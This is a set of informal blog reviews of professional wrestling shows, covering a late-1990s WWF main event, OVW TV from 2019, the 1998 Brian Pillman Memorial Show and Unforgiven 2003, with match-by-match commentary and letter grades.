They get him down and Rock hits the People’s Elbow which apparently would have been a three if HHH hadn’t made the save. Yeah I’ll buy that one. Show and HHH double team the Rock for just a bit. Never mind we’re back to Show vs. HHH on the floor of course. Le sigh we’re going back to the entrance way for more brawling. HHH gets slammed through some random table that was just sitting there for no apparent reason.

My video freezes a bit in the middle of a JR line that I just knew would end in HHH should burn. Yep I’m right. I think I watch too much wrestling. This brawling is ridiculous. Rock is about to be chokeslammed but HHH breaks it up, because of course you need two threats instead of just one right? They cover it by saying HHH needs Rock’s help to beat Big Show.

Based just on the way they’re building up Show, you could pretty much tell he would be taking the title tonight. We brawl a bit more because we haven’t hit our quota yet so we go to the announce tables for awhile. Show takes a bell to the head, leading to both other guys managing to suplex him through the Spanish Announce Table. Oh how I love running jokes. Dang it Rock and HHH are fighting in the crowd now.

I really hate this style. It’s not even a style. It’s just wild fighting with no rhyme or reason to it, but it sold tickets and drove up ratings I guess, so there we are. Since there hasn’t been enough stupid stuff in this match, we lose a referee. Rock hits the Rock Bottom but there’s no referee. Shane apparently just happened to have a referee’s shirt laying around so he sprints to the ring and counts two.

Another Rock Bottom gets two as Show makes the save. Lawler calls him the Giant which really isn’t a copyright issue because he is indeed a giant. Show puts Rock on the table and just beats the holy crap out of him before going back into the ring. Instead of trying to you know, pin HHH he goes back to beating on Rock on the floor. HHH gets the belt because he just felt lonely without it I guess.

HHH pedigrees his future brother in law for no apparent reason other than he’s a heel. Here’s DX because we haven’t had enough of them tonight. This was another big criticism of the Attitude Era as everything ended in a big brawl, much like WCW and the NWO or TNA today. Vince is back though, and business isn’t about to pick up. JR you disappoint me. He pops HHH in the head with the belt and HhH is up before Vince is in a stupid looking moment.

The chokeslam gives us the shocking new champion and a good pop from the crowd. Rock and Show would start a feud soon enough, as this would be the original main event for Mania but Foley was added in for no apparent reason other than letting him main event a Mania. Show dedicates the win to his father which if his father had legitimately died recently would be awesome but it’s not so whatever.

Rating: C+. WAY too much brawling here. I get that they didn’t want to expose Show as a bit limited so they did what they could, but this was over half on the floor in a fifteen minute plus match. It was ok, but the massive amount of run ins and brawling hurt it for me. It’s ok, but it’s nothing special. The surprises at the beginning and the end help it a lot, so we’ll call it just above average.

Overall Rating: B. This was a pretty solid show, but there’s no great match on it anywhere. Jericho and Chyna is easily the best match here, but that’s not saying a lot. This is far more important for Austin of course, but that wouldn’t be touched on for nearly a year.

Show would hold the title for about a month and a half before losing it back to HHH on Raw and then turning heel to join up with Shane, leading to the McMahon in every corner main event at Wrestlemania. This is an ok show, but it’s just ok. I don’t think I’d recommend it, but I wouldn’t recommend to avoid it either, if that makes sense. It’s better than just being there, but not by much.

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Ohio Valley Wrestling TV – February 11, 2019: I Don’t Remember It This Way

IMG Credit: Ohio Valley Wrestling

Now this is going to be very different. I spent a lot of years watching OVW TV and got to see a bunch of people in the WWE developmental system before they came up to the main roster (hence the old motto: “Tomorrow’s Superstars Today!”). However, Lexington stopped getting the TV show years ago so I haven’t seen this promotion in probably ten years. Then I heard that Imp

act Wrestling was doing a One Night Only show in Louisville with OVW this Saturday and since that’s only about an hour and fifteen minutes away, I’m taking in the show. So I won’t be lost, I’ll be looking at the three most recent OVW TV’s.

I’m not sure what day the TV actually airs so we’ll go with their dates on YouTube.

Ohio Valley Wrestling
Date: February 11, 2019
Location: Davis Arena, Louisville, Kentucky
Commentators: Gilbert Corsey, Ted McNaler, Josh Ashcraft

In something that I don’t get to say very often, I’m coming into this completely blind. I don’t know these wrestlers, I don’t know their stories and I don’t know what they do. That can be fun though as it lets me see what kind of stuff I’m getting into as an outsider, meaning they need to show me something. Let’s get to it.

Opening sequence, featuring a bunch of shots of wrestlers with their names included. That’s very helpful indeed.

The announcers (two of whom I recognize from back in the day) recap the recent Saturday Night Special (their big shows) and talk about everything we’ll be seeing, including a new OVW Champion and a tag team winning a tournament to get a guaranteed title shot.

Here’s OVW owner Al Snow to thank everyone for allowing OVW to exist. He has a big announcement though: on March 2, Impact Wrestling is coming for a super show. Didn’t I just say that? Snow wants the best of OVW on the show, which is why champions are guaranteed to be on the card, though there will be some other spots available. This brings out to guys who seem to be named the Entourage and are rather white rappers.

Shiloh Jonze wants in on this show but the other one (unnamed) wants in as well, triggering a fight. A big guy names….well Big Zo actually, comes in to say that they’re both stupid. This brings out Melvin Maximus, who says he’s a two time TV Champion and a former OVW Champion. On March 3, Snow is going to have to make a choice. Actually not as the show is on March 2, which thankfully Snow points out. Now it’s Adam Revolver (another guy I remember) to suck up to Snow as the small entrance way is getting very full.

We’re not done yet as Cash Flo comes in to say the grown folks are talking right now. Flo insults them all (rather badly too as he sounds like he’s having to think of every show) until Drew Hernandez comes out to say he’s proven how worthy he is. He’s proven how much better he is than Heavyweight Champion Tony Gunn and Justin Smooth, which brings out Smooth as well.

Snow has had it and says that it’s true a champion is guaranteed a spot, including possibly the TV Champion (Smooth). He explains the TV Title, which is defended every week in a gauntlet match where the title can change hands on a countout or a DQ. Therefore, let’s have everyone here in a gauntlet match tonight with the winner being guaranteed to be on the big show.

This was really long and felt like a WWE segment with some people who feel like just slightly above average indy wrestlers. Now that being said, they all want something and their motivations are clear, so at least the segment made sense and wasn’t something where you needed an explanation of what was going on. I did however need an explanation of who these people were as even some name graphics would have helped.

Dimes/Eddie Knight vs. The Void

Yes Dimes, who looks to be about sixteen. The Void are Chace Destiny and Nigel Winters, two guys in Void shirts. The audio is really off here as the ring announcer comes in very clearly and sounds great but McNaler sounds like he’s about three feet from the microphone and can barely be heard over the entrance music. Dimes and Knight take turns working on Winters’ arm as the announcers talk about Destiny being suffocated by a plastic bag last week. It’s off to Destiny for his own arm cranking as all four of them are barely above the top rope.

The arm work continues as they’re certainly in first gear but it’s looking crisp enough and I’ll take that over bad execution of more complicated stuff. A legsweep takes Dimes down and a double Japanese armdrag does it again. Dimes manages to get up top but gets dropkicked out of the air as we hear about the Void being the minions of the evil Crazzy Steve and Aamon who broke away from their control. That’s a fine explanation of a backstory and explains their rather heelish sounding names. Something close to a Demolition Decapitator (with a fist drop instead of an elbow) finishes Dimes at 3:53.

Rating: D. This seemed to be a starter win for the Void, who felt like faces in gear that looked heelish, which actually fit the backstory. In other words, while the wrestling wasn’t all that great, the commentary was a nice feature and kept me from having a bunch of questions about what I was watching. The arm work dominated this match and that’s not the most thrilling stuff in the world, but I’ll take it over botching everything left and right.

Before the Void can be announced as the winners, Aamon appears in the balcony to say the worms have forgotten where they came from. The sheep wander away from their home but a good shepherd will bring them back to the flock, no matter what they have to go through first. This was effective stuff as Aamon sounded really creepy and came off like a threat to the Void, who aren’t the most impressive looking people in the first place.

We get a sitdown interview with new OVW Champion Tony Gunn, though the audio is now just only coming through one ear instead of both for some reason. We see a clip of Gunn defeating Abyss to win the title and Gunn talks about being away from OVW for over a year due to an injury. He’s worked hard to get here and is ready to face anyone either from OVW or from outside.

His first title defense will take place at a house show on February 16 against the winner of a Rumble that night. Gunn is cool with that because he’s ready for anyone. As for Impact Wrestling, he took the title from their Hall of Famer, so he’s ready for anyone else. Gunn isn’t a bad promo and I can see his star power, at least on this level.

King’s Ransom (the winners of the Nightmare Cup tournament, two guys with a great look) want their Tag Team Title shot against the War Kings RIGHT NOW so here are the champs (Crimson/Jax Dane). However, they want to be defending the titles at the Impact show. After some insults from the champs, Ransom (Leonis Khan and Maximus Khan) jump the two of them and the match is on.

Tag Team Titles: King’s Ransom vs. War Kings

The War Kings are defending and wrestling in street clothes. Maximus slips out of Dane’s fireman’s carry and it’s quickly off to Leonis for a splash in the corner. A double hiptoss keeps Crimson in trouble and a rollup gives Leonis two. It’s back to the bigger Dane, who shoves both challengers away without much effort. Leonis gets two off a crossbody as everything breaks down. The referee gets crushed by a Stinger Splash and the King’s Landing (a double spinebuster) plants Crimson. Another referee comes in after a fifteen second cover to count two. Dane comes in with a belt shot to the head for the DQ at 4:12.

Rating: C-. Now this was more like it with two teams who looked like professional wrestlers. The War Kings are established names (Dane is a former NWA World Champion) and the King’s Ransom have a great look (almost like muscular Usos). I could see the latter team going somewhere with some more polish, and that’s exactly the point of a place like this.

We look back at Snow setting up the gauntlet match.

TV Title: Gauntlet Match

Justin Smooth is defending and it’s Dave Low (the other rapper from earlier tonight) in first and Zo in second. The huge Zo misses a charge into the corner but shrugs off a kick to the face. David dives off the top but gets caught in a World’s Strongest Slam. A Zo Bomb (Vader Bomb) gets rid of David at 39 seconds.

Shiloh Jonze is in third and charges right into a shoulder block. Zo clotheslines him out to the floor and Big D. (the rappers’ friend, a big man in a black wig) gets on the apron, only to have Zo take the wig away. That means some hairy dancing, followed by rapid fire elbows in the corner. Low offers a distraction so Big D. can come in….and get knocked outside again. Jonze charges into Zo’s hips in the corner and another Zo Bomb gets rid of him at 2:34.

Melvin Maximus is in fourth and has the muscles to match up with Zo. The lockup doesn’t go to either of them so Zo spinwheel kicks him down. It’s too early for the Zo Bomb though and Melvin electric chairs him down for the elimination at 4:41. Adam Revolver, who has been having issues with Maximus, is in fifth as we take a break. Back with Melvin punching his way out of a Figure Four so Adam’s manager Shannon the Dude comes in for a failed interference attempt. They brawl on the floor where, in a classic booking move, Shannon grabs Melvin’s foot from underneath the ring so Adam advances by countout at 8:03.

Smooth is in sixth and hits a quick flapjack to take over in a hurry. Revolver slaps on a sleeper but gets driven into the corner in a hurry. What looked to be a bicycle kick (or maybe a running knee to the chest) gets rid of Revolver at 9:30. Drew Hernandez is in seventh but before anything can start, Colton Cage and Dustin Jackson fight their way to ringside. Jackson’s girlfriend Dani comes to the barricade to yell at them to cut it out as Smooth and Hernandez stand around and watch.

Dani comes over the barricade and Colton accidentally knocks her down. Drew FINALLY remembers that he’s in a title match and jumps Smooth from behind….with a low blow for the DQ at 12:23. Another low blow connects and it’s Cash Flo in eighth to complete the field. Flo chops away on the downed Smooth with a seated senton busting up the ribs. A release German suplex has Smooth in more trouble so Flo goes up and dives (despite Smooth being in the opposite corner) into Street Justice (now clearly a bicycle kick) to retain Smooth’s title at 15:18.

Rating: D+. I’m really not sure what the point is in a gauntlet match unless it’s a way to get this many people onto the show at once. The wrestling wasn’t anything great but some of the people stood out more than others, with Smooth having a great look but clearly in need of a lot of ring time. Smooth retaining is fine, though I’m not sure how many weeks in a row something like this is going to work.

Overall Rating: D+. This was up and down to put it mildly, with some people looking like they have potential to go somewhere with more seasoning and some looking like low level indy talent who have no business being out of a training class. That being said, I had a good time with some of what happened here and kind of want to keep going with the show. There’s enough stuff to keep my interest and the stories are certainly easy to follow. Hopefully the next two weeks hold up a bit better, but what we got here was acceptable.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2000 Monday Nitro and Thunder Reviews Part 1 (also available as an e-book) from Amazon. Check out the information here:

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1st Annual Brian Pillman Memorial Show: A Worthy Tribute

IMG Credit: WWE

Brian Pillman Memorial Show
Date: April 29, 1998
Location: Norwood Middle School, Norwood, Ohio
Attendance: 1,002

I think the title of this show sums up the idea well enough. Pillman passed away on October 5, 1997 in a horrible surprise, leaving behind a family with far less support. As Pillman was revered in the wrestling industry, a series of memorial shows were put together for the sake of helping Pillman’s kids. This is the first one and you might have heard of some of the people on the show. Let’s get to it.

This event was promoted by the Heartland Wrestling Association out of Cincinnati, which was WWF developmental for a good while.

There is no commentary here (fan cam) and there’s a chance I won’t know some of these people so please bear with me.

The roster is in the ring to open the show….and we’re cut to the opening match. Ok then.

Trailer Park Trash vs. Nick Dinsmore

Trash was the first OVW Heavyweight Champion and Dinsmore is better known as Eugene, the most successful OVW wrestler of all time. Dinsmore, who looks much smaller than usual, which is an accomplishment given how small he was, gets taken into the corner to start and the fans chant for Trash. A monkey flip doesn’t work as Dinsmore sticks the landing and grabs a belly to belly.

Things reset so Dinsmore speeds things up with a pair of dropkicks and a clothesline to the floor. The announcer says five minutes gone by, meaning we missed about a minute and ten seconds at the beginning. Or the wrestling tradition of never knowing how to tell time continues. Trash runs around on the floor for some serious stalling and, believe it or not, it still works. Back in and Trash’s armbar is countered into a hiptoss to put him on the floor again. The fans think Trash is a crybaby and Dinsmore certainly encourages their sentiments.

Trash rakes the eyes to take over and gets two off a flying clothesline as we’re firmly in the old style heel vs. face formula here. A bulldog lets Trash strut (oh he’s a southern wrestler) before getting two (they never learn). Trash is a bit better flier than Ric Flair as a guillotine legdrop connects. He misses the second though (again: they never learn) and Dinsmore gets in the right hands, followed by a backdrop as this is as wrestling 101 as you can get (not a bad thing). The bridging German suplex takes out the Trash at 11:22.

Rating: C. I could have a good time with this show as it’s a classic example of basic wrestling but they’re doing it well. More important than the wrestling though is knowing how to work the crowd. Both guys were playing to them very well and it made them care about something that wasn’t exactly thrilling. You didn’t have both of them doing all kinds of big high spots and overblown moves, but rather getting the most out of the least work. Now why can’t more people get that straight?

The announcer gets in the ring and lists off some states, which I think is where the fans are all from. The audio is almost incomprehensible, but that’s not really the point at the moment.

Steve Dunn/Reno Riggins vs. Brian Taylor/The Bounty Hunter

Dunn is part of Well Dunn, Riggins was a longtime WWF jobber, Taylor is an HWA regular who stopped wrestling in 1999 and Bounty Hunter is an indy guy who wrestled in the Eastern Championship Wrestling days of ECW. During Hunter’s entrance, the ring announcer goes to the aisle and something happens that we can’t see. It seems that we’re having a change of personnel here as Sunny will now be ring announcer. Well if you insist.

This is non-title though it’s champions vs. champions as Riggins and Dunn are the Music City Wrestling Tag Team Champions and Hunter and Taylor are the HWA Tag Team Champions (though they have no belts). However, from the records I can find, the MCW Tag Team Titles should be held by Dinsmore and Rob Conway at the moment. Eh those records can be sketchy at best or they might have just handed the titles to Dunn and Riggins to make this sound better.

Taylor and Dunn start things off with Steve complaining of a hair pull. Well maybe you should lose the mullet dude. It seems that Riggins and Dunn are the heels here, which you wouldn’t expect when one of their opponents is named Bounty Hunter. Taylor shoves him down again to show off the power and that means more Dunn stalling. Dunn and Riggins clear the ring until Taylor comes back in for a running clothesline.

It’s off to Hunter for the good sized power offense, including a big boot to the chest. The chinlock goes on for a bit before Riggins eats a double elbow to the jaw. The blind tag brings Dunn back in but the fans don’t seem thrilled with him and his partner. Riggins rakes Taylor’s eyes and gets in a nice powerslam before handing it off to Dunn for a snap suplex. As was the case earlier on, they’re not doing anything incredible here but they’re doing it efficiently.

Taylor gets sent to the floor and punched in the back, followed by Dunn picking Riggins up for a low Fameasser. That’s a big enough spot to draw a gasp from the crowd and we hit the chinlock. That’s broken up and Taylor gets two off a rollup, only to have Riggins hit a running dropkick to keep him in trouble. Egads what a southern match. A DDT is finally enough for the hot tag off to Hunter and everything breaks down. With the referee distracted, Dunn gets in a belt shot to knock Hunter out for the pin at 12:24.

Rating: C+. These matches are better than I was expecting as they’re certainly not doing anything out of the ordinary here but they’re doing it well enough that it’s going fine. I’m digging what we’re getting here and I can tell what’s going on without being told. That’s the same of a good match and wrestlers that know what they’re doing.

Flash Flanagan vs. Bull Pain

Flash was a big deal in OVE and Pain is a German guy with an unnamed manager. They get aggressive over a lockup to start and it’s Flash getting the better of a chop off. A running jackknife cover gives Flash two but Pain pounds him down without much effort. Flash clotheslines him to the floor and hits a Cannonball off the apron, earning himself a nice chant.

Back in and Flash keeps up the pace with a Japanese armdrag but an armbar slows things back down. That stays on for a good while until Flash runs the ropes, only to be tripped by Pain’s unnamed manager. They head outside with Pain hammering away and then cutting off a comeback attempt back inside.

Flash gets stomped a few times but still manages to get two off a sunset flip. Bull hits a nice frog splash for the same and the unnamed manager’s distraction lets him follow up with a low blow. A second splash misses and Flash starts the comeback, including a difficult looking backdrop. Pain is right back up with a superplex for two more but a missed charge lets Flash hit a Blockbuster for the pin at 12:27.

Rating: C. Just like earlier, this wasn’t the highest level stuff but it was more than watchable. Flash was someone who had a ton of potential in OVW but never went past that one company for some reason. Pain is a perfectly fine midcard heel with a bit of a smaller Albert vibe and that’s not the worst place to be.

Chip Fairway/Shark Boy vs. Terik the Great/Sean Casey

Fairway is a golfer (it was the 80s), Shark Boy you know (despite him having a costume that looks like a horrible prototype of his more famous look), Terik is a foreign heel and Casey was an OVW guy. Shark and Terik start things off with a wristlock not getting Terik very far. Both guys try dropkicks and that means a double knockdown because neither connected with a chest. Casey and Fairway come in for most wristlockery with Fairway (who is a face for reasons I can’t comprehend) taking him to the mat.

Shark comes back in for a right hand to Casey and the villains are sent to the floor for some dives. Casey and Terik are pulled back in and knocked down just as fast, leaving Fairway to shoulder Casey a few times. A double back elbow gets two as the really long shine continues. Casey grabs a powerbomb attempt and walks Shark back to the corner, allowing Terik to neck snap him on the top to take over, in a spot that was a little bigger than you might have expected.

Terik drops a springboard spinning legdrop for two and it’s back to Casey for a dropkick. An old fashioned slingshot suplex gets two more with Fairway having to make a save this time. That’s enough to draw a SHARK BOY chant, which dies off pretty quickly. Terik puts on a double underhook neck crank of all things, thankfully being smart enough to keep his shoulders off the mat. They head outside with Casey cutting off a comeback with an ax handle from the apron.

Fairway makes another save, leaving Terik to hit a running kneeling Muscle Buster (FREAKING OW MAN!) for two more. Terik botches a springboard moonsault though and falls outside, finally allowing the hot tag to Fairway. A spinebuster sets up a Texas Cloverleaf on Terik but it’s Casey making the save this time. The referee tells Terik to get out, allowing Shark to come in with a twisting high crossbody for the pin on Casey at 19:50.

Rating: B-. Who in the world would have expected this to go twenty minutes or be the match of the night up to this point? This was actually a very nice tag match, even with no reason for these four to be fighting. They did the same thing that the other wrestlers have done so far: done things well enough to get the crowd going and make them want to see the good guys win. It’s wrestling 201 or so and when it works, it always works.

Chris Candido vs. Al Snow

This is before Snow became a major name, though he was the hottest thing in ECW, though he was only a few months away from the WWF. Candido is one half of the ECW Tag Team Champions at this point. The Head craze is in full swing here, though there are only a few of the Styrofoam ones in the crowd. They both drop to their knees and cross their arms at each other (ok then) until Snow drops to the floor to consult Head.

The third chinlock in less than four minutes goes on….as the announcer says ten minutes. That’s a heck of a cut in there for whatever reason. Back up and Candido chops away in the corner until Snow switches places with him and chops even faster. A good looking enziguri sends Candido into the corner and it’s time to pound away with Head in the corner (they like those in this match).

Snow hits a slingshot splash onto the floor, which draws an ECW chant for some reason. Likely because in ECW, doing anything is worthy of cheering. Back in and Snow hits a high crossbody with Candido rolling through for two. A clothesline gives him the same, as does a superplex with Snow bouncing quite well.

Snow faceplants his way out of trouble and does the Sting face first fall onto the crotch. The moonsault and Swan Dive both miss but here’s Sunny (in a different outfit) to break up the Snow Plow. Candido saves her from taking one, only to walk into one himself for the pin at 14:14 show (of what seems to be about twenty minutes).

Rating: B-. It’s nice to see two guys who can handle this much time without having to resort to obvious stalling or something stupid to fill in time. It makes for an entertaining match because they know how to keep things going on their own. Candido really was one of the most underrated guys you’ll ever find as he did come off as a natural talent no matter what he was stuck doing.

The fans show the heads at Candido and Sunny, who throw them back in a funny moment.

We cut to Steve Austin (reigning WWF Champion) in the ring (makes sense) and the ring announcer possibly selling something. Austin leaves but comes back for one more double middle finger.

We see the check presentation to Pillman’s family. Brian’s widow Melanie, pregnant at the moment, is in the ring and what sounds like a pastor gives her over $23,000. Melanie thanks the fans for everything. I’m not sure how true it is, but I’ve heard various stories that say she uh, wasn’t exactly using the money for what she was supposed to so this isn’t as inspiring as it might seem.

Terry Taylor, in the production area, is acknowledged for some reason.

Chris Jericho vs. Chris Benoit

Oh I think this could work. Jericho is WCW Cruiserweight Champion but I don’t think this is a title match. Benoit has Woman with him. Before the match, Jericho says he wants us to want him….and other things I can’t quite understand. I think he talks about the fans knowing they’re here to see him. With that out of the way, Benoit say something else I can’t understand but Jericho really doesn’t like it. Maybe he said Woman had better hair? The bell rings and someone is on the mic outside the ring.

Whatever they say has Jericho freaking out until they go to a wrestling sequence to start. This goes very badly for Jericho so he wants a test of strength instead. Benoit starts going down so he switches it into a pinfall reversal sequence and a standoff. Jericho actually gets the better of a wristlock and blows a kiss to Woman, earning himself a beating in the corner. That’s enough to send Jericho outside where he chases Woman inside, earning himself a chop from Benoit and a slap from her, meaning it’s time for more stalling.

Back in and Jericho works on a headlock as the fans seem to be behind him. Benoit enziguris him down but gets drop toeholded into the bottom buckle for his efforts. Back in and a delayed vertical suplex sets up the chinlock to keep Benoit down. Jericho pulls him into a weird submission where he pulls on the arm like a hammerlock but wraps his leg around Benoit’s head for a bonus.

That switches to a looks crossface chickenwing but Benoit gets up again, this time into a rollup for his own near fall. The chinlock goes on again until Jericho stops to yell at the crowd. Back up and Benoit holds the ropes to avoid a dropkick, setting up a catapult into the top turnbuckle.

A belly to back superplex puts them both down and it’s time to chop it out. Benoit’s German suplex attempt is countered into a failed Liontamer attempt so Jericho knocks him down instead. Another Liontamer attempt is reversed into a victory roll but the Swan Dive misses again. Jericho tries a rollup but gets reversed into the Crossface for the tap at 13:00.

Rating: B. Well of course these two have the best match of the night. It’s not like there was any doubt that this would be awesome as both of them were near the top of their game right now and wanted to show off what they could do. Of course these two would go on to have some of the best matches in the WWF when they had the chance but it’s cool to see them rocking this smaller stage too.

Overall Rating: A-. I had a really good time with this show and that was quite the surprise. With a show like this, you don’t know what to expect as it could be a mess with a few bigger names putting in a low level effort at the end. Instead, you had a bunch of guys who have clearly been very well trained leading up to the bigger main event and that made for a heck of a show. Nothing on here felt like an indy match but rather a show full of people trying their best and showing what they can do. Good show here, and a worthy tribute.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

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Unforgiven 2003 (2018 Redo): The Pay Per View Version of Bad TV

Unforgiven 2003
Date: September 21, 2003
Location: Giant Center, Hershey, Pennsylvania
Attendance: 10,347
Commentators: Jim Ross, Jerry Lawler

It’s another Raw exclusive pay per view, based around the idea of finding the least interesting story possible. Is it Shane McMahon and his electric testicles vs. Kane or a barely mobile HHH managing to drag out his second World Title defense against Goldberg? You know, that guy known for his long matches. There’s also the option of the battling announcers, which is always a big winner. Let’s get to it.

The opening video talks about how no one is good or evil anymore. This comes after months of JR and King talking about how Kane is the embodiment of evil. We might be in for a very long night. This turns into a HHH vs. Goldberg video with HHH talking about all the nobodies that Goldberg beat. One of those nobodies was Kevin Nash, which is a major win that HHH constantly brags about. We’re ninety seconds in and the opening video has already contradicted the show twice.

Tag Team Titles: La Resistance/Rob Conway vs. Dudley Boyz

La Resistance is defending and this is a handicap tables match where every member has to go through to win. The title and handicap stipulations were both added on Heat, because why would we need to know important stuff like that? For some reason Lilian introduces the team as Bubba Ray Dudley and D-Von Dudley instead of the collective name. As usual, tags are required in a tables match so it’s D-Von and Dupree slugging it out to start.

D-Von is taken into the corner where Conway stomps away, only to get taken down for a legdrop. Bubba comes in and ties Conway in the Tree of Woe for some hard chops to the chest. The announcers’ reaction: a discussion on the French loving Jerry Lewis. The double flapjack puts Conway on the floor but it’s too early for tables. Must be the pay per view time scale.

Conway gets in a cheap shot from the apron and the champs start taking over again. The USA chants begin as Conway grabs a sleeper to calm them right back down. Thankfully Bubba breaks things up with a belly to back suplex, allowing the tag off to D-Von. The reverse 3D plants Conway and NOW it’s table time. The champs are smart enough to let the table be set before jumping the Dudleys though and it’s D-Von being thrown through first.

Bubba reverses a suplex and puts Grenier through but gets jumped by Conway. D-Von is back up and the Dudleys throw Conway over the top through a table with his head smacking an edge ala Spike. That’s really not a spot you need to recreate. Dupree has the French flag broken over his head and the 3D gives the Dudleys the titles back.

Rating: C-. This was the logical way to go and hopefully the end of a really boring feud. It’s a good choice for an opener as well with the fans loving the table stuff and the good old Americans getting the titles back from the EVIL Frenchmen. Not the most interesting story in the world but the right way to end the feud.

We get a music video dedicated to Scott Steiner vs. Test. This story has gone on for the better part of ever with Stacy Keibler being traded back and forth between them several times. Basically Test wants Stacy to make him money and Steiner wants, well, Stacy. Tonight it’s another match to determine who gets Stacy’s “services”. Why this story has gone on since the spring isn’t clear but hopefully it ends here. I mean, it won’t, but it would be nice.

Test vs. Scott Steiner

If Test can beat Steiner, he gets Scott’s services as well. Stacy gets her own entrance, which certainly makes her seem free in the first place. I love that a good chunk of Test’s Titantron video is Stacy looking disgusted at him. I’m assuming he approved of the content and that’s the best he could get? Stacy gives Steiner a hug to start and Test gets in a few cheap shots to take over.

The clothesline and the pushup elbow send Test outside, where Stacy slaps him for good measure. Back in and Test grabs a full nelson slam for two, followed by some pushups of his own. We hit the sleeper on Steiner until he suplexes a diving Test for a breather. Steiner almost drops him on a tiger bomb attempt but a low blow cuts Scott off. Stacy shoves the boots off the ropes and snaps Test’s throat across the top for a close two.

With that not working, Stacy pops up on the apron and hikes up the skirt to distract Test. I mean, it might be more effective if she wasn’t showing it to the crowd but close enough. It doesn’t work anyway as Test kicks out of a rollup and boots Steiner in the face for two more. With that not working, Test pulls off a turnbuckle pad so he can grab a chair but Stacy takes it away. She hits Steiner by mistake though (well duh), setting up the big boot to give Test the pin.

Rating: D-. Really, what is the fascination with this story? The matches have been terrible and the story is just dumb but the thing is still going. I get that they probably have a lot of money tied up in Steiner but my goodness, is Test really their best option here? Bad match, worse ending, and unfortunately it looks like we’re STILL not done.

We recap Randy Orton vs. Shawn Michaels. Orton is the legend killer and Shawn is a legend. You can piece the rest together for yourself.

Randy Orton vs. Shawn Michaels

Shawn wrestles him to the mat to start and slaps Orton’s head a bit. Some strutting and a WOO annoy Flair and we hit the headlock takeover/headscissor escape sequence. We hear about the various horrible things Orton has done to various legends and confirm that Moolah is NOT dead.

Shawn throws him over the top but Orton skins the cat to steal a trademark and scores with a dropkick for two. A clothesline gets Shawn out of trouble and it’s a Cactus Clothesline with Shawn skinning the cat back as well. Shawn hits a high crossbody to the floor as the pace stays fast enough to start. Back in and Shawn charges into a boot in the corner, allowing Orton to hammer away in the corner.

A hard charge sends Shawn shoulder first into the post and NOW we’ll get to the meat of the match, starting with Flair posting the bad arm. Another Flair distraction lets Orton post the shoulder again and the beating is on. Back in and Orton cranks on the arm as JR talks about Shawn’s matches against Vader. I’ll try to figure out the connection as Shawn fights up to his feet.

Orton puts his feet on Shawn’s face and pulls on the arm to keep him in trouble. A small package (with some horribly loud spot calling) gives Shawn two and the forearm into the nipup starts the comeback. Shawn sends him over the top though, followed by a whip into the barricade. Flair’s distraction fails and Shawn hits a top rope ax handle for two. Sweet Chin Music is countered into the RKO but the delayed cover is only good for two.

Orton’s high crossbody takes too long and only hits mat, meaning Flair (who is DRENCHED in sweat) has to fail at interfering again. Shawn drops the top rope elbow for two and now Sweet Chin Music connects, only to have Flair put the foot on the ropes. The referee waves off the pin and in the distraction, Flair slips Orton some brass knuckles. A knockout punch later and Orton gets the upset pin.

Rating: B-. It’s probably too early for Orton to get the clean win so this was the best option that they had. I’m not seeing the need for the false pin but Orton hung in there long enough to make himself look better. The arm and shoulder stuff stopped mattering about halfway through but to be fair, Shawn’s offense isn’t heavily arm based in the first place. Good match with the right result though.

Chris Jericho recruits La Resistance in his crusade against Steve Austin.

Gail Kim/Molly Holly vs. Trish Stratus/Lita

Gail and Molly are jealous of Trish so they’ve beaten her up several times due to a variety of bad partners. Lita returned on Raw after over a year on the shelf and here we are. King during Trish’s entrance: “Her, me, whipped cream, handcuffs. Any questions?” Several, starting with can we please get passed this nonsense already?

The villains jump them to start but Trish and Lita fight them off and hit stereo baseball slides. Lita armdrags Gail as we settle down, followed by a suplex into a nip up. Trish’s top rope Thesz press lets her hammer away and Molly won’t tag out. Gail sends Trish outside though and Trish comes up holding her back.

Molly cranks on a modified dragon sleeper before Gail grabs one of her own. Something like a Sliced Bread #2 gets Trish out of the hold but Molly breaks up a hot tag attempt by pulling Lita off the apron. I love that spot. With the referee keeping Lita out, a camel clutch/Boston crab combination works over Trish’s back even more.

Lita has a busted lip so Lawler wants to go check on her, citing his oral surgery skills. My goodness he wouldn’t last five minutes today with stuff like this. Gail misses a middle rope legdrop and now it’s off to Lita to speed things up. A dropkick and monkey flip have Gail and Molly in trouble and there’s the first hurricanrana. Gail gets powerbombed and Trish hurricanranas Molly, setting up Lita’s moonsault for the pin.

Rating: C+. Good match here and a nice way to get Lita back into the swing of things. They stuck to the tag formula here and, as a result, the match was one of the better women’s matches in a long time. Just let them go out there and do the stuff they can do well, as I’m not sure these four are capable of putting together something much more complicated than this just yet. They did this well though and hopefully that’s a sign of things to come.

We recap Kane vs. Shane McMahon. Kane lost his mask and Steve Austin asked if the fire still burned. Kane went on a rampage and attacked various people, including Shane’s mother Linda. Since he’s a McMahon, the story became almost entirely about Shane, who is now able to hang in a fight with Kane when almost no one else can. Tonight it’s Last Man Standing so Shane can do more of his stunt show offense.

Kane vs. Shane McMahon

Shane chairs him in the back during the entrances and a jumping chair shot to the head puts Kane down for four. Another shot to the head gets six so Shane starts in on the knee. Some chair shots to said knee and a wrap around the post keep Kane down. Shane sends him head first into the steps and now it’s time for the jabs. Thankfully Kane throws him over the barricade rather than selling those lame punches.

Shane gets slammed off the barricade and smashed in the face with the steps as JR is already begging Shane to stay down. Back in and the chokeslam puts Shane down but he uses the referee to pull himself back up at seven. The referee gets kicked in the face, which shouldn’t make any difference in this match.

Kane loads up a Tombstone but changes his mind, instead opting for the steps again. The Tombstone onto the steps is reversed and Shane bulldogs Kane’s hands onto them instead. Another steps shot to the head sets up a very, very slow Van Terminator as the referee is STILL down. After a lot of laying around, Kane kicks the steps into Shane’s face and they stumble into the aisle. Shane wins a slugout but gets sent into the metal set for a seven. That works so well that Kane does it a few more times before stomping Shane down.

Rating: D. This was as exciting as laying around between step shots to the head was going to be. Shane looks like more of a monster than Kane, who comes off as someone who had to get lucky to beat a non-wrestler in nearly twenty minutes. Sure Shane’s dive looked cool, but we really wasted that much pay per view time to set it up? And all those weeks of Kane being evil and insane for this? As has been the case for weeks now, the focus is all over the place and completely misguided.

